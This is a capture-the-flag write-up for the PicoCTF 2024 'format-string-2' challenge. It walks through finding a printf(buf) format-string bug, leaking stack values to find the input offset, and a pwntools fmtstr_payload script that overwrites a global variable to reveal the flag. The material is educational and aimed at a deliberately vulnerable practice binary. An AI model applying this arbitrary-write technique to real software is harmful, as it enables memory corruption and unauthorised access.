PicoCTF 2024: format-string-2

Recon

Following the format-string-1 challenge, we get an executable that we can analyze as always:

$ file vuln
vuln: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=dfe923d97df1df729249ff21202d10ad15d45f4c, for GNU/Linux 3.2.0, not stripped
$ checksec --file=vuln
[*] '/home/qelal/PicoCTF/fmt2/vuln'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

We can take a look at the source code:

#include <stdio.h>

int sus = 0x21737573;

int main() {
  char buf[1024];
  char flag[64];

  printf("You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?\n");
  fflush(stdout);
  scanf("%1024s", buf);
  printf("Here's your input: ");
  printf(buf);
  printf("\n");
  fflush(stdout);

  if (sus == 0x67616c66) {
    printf("I have NO clue how you did that, you must be a wizard. Here you go...\n");

    // Read in the flag
    FILE *fd = fopen("flag.txt", "r");
    fgets(flag, 64, fd);

    printf("%s", flag);
    fflush(stdout);
  }
  else {
    printf("sus = 0x%x\n", sus);
    printf("You can do better!\n");
    fflush(stdout);
  }

  return 0;
}

There is a format string bug on printf(buf). This time we won’t only need to read leaked data off the stack, but instead we’ll have to overwrite a global variable, named sus. As it is global, it won’t be stored on the stack as other local variables.

Fortunately, as the binary is not PIE, we know that the address for sus will always be the same. It can be found from static analysis:

$ objdump -t vuln | grep sus
0000000000404060 g     O .data  0000000000000004              sus

So it is located at 0x404060. The value we’ll have to overwrite sus with is 0x67616c66, as we know from the source code.

Exploit

To be able to inject the address of sus and write to it, we will first get the offset of where our input data is on the stack. To make it easy, we will inject an unique “AAAAAAAA” payload (which in ASCII is eight times 0x41) and see where it ends up:

$ ./vuln
You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?
AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.
Here's your input: AAAAAAAA0x402075.(nil).(nil).0x402073.0x7efcbbadaa80.0x7efcbbb3a668.0x7ffc00000001.0x7efcbbb3a2e0.0xffffffff.0x7efcbb919678.0x7efcbbb04400.0x1.0x7ffc68e8fea0.0x4141414141414141.0x70252e70252e7025.0x252e70252e70252e.
sus = 0x21737573
You can do better!

Our input is at the 14th position on the stack. To be sure we can confirm this offset by using a more precise format specifier:

$ ./vuln 
You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?
AAAAAAAA%14$p
Here's your input: AAAAAAAA0x4141414141414141
sus = 0x21737573
You can do better!

By the way we could also use a bit of dynamic analysis on our local machine (with a dummy flag file) to see if our hypothesis is right (unnecessary but still nice to see):

pwndbg> set *0x404060 = 0x67616c66
pwndbg> c
Continuing.
ff
Here's your input: ff
I have NO clue how you did that, you must be a wizard. Here you go...
CTF{dummy}
[Inferior 1 (process 12774) exited normally]

Now that we know this, we can automate the exploit craft for this using the fmtstr_payload helper from pwntools:

io = start()

sus_addr = 0x404060
payload = fmtstr_payload(14, {sus_addr: 0x67616c66})

io.sendlineafter(b'say?', payload)
print(io.recvall())

This writes the desired value to the address of sus, and the payload will be injected on 14th position of the stack, as we know this is where our input ends up being. We bypass the check, and get the flag.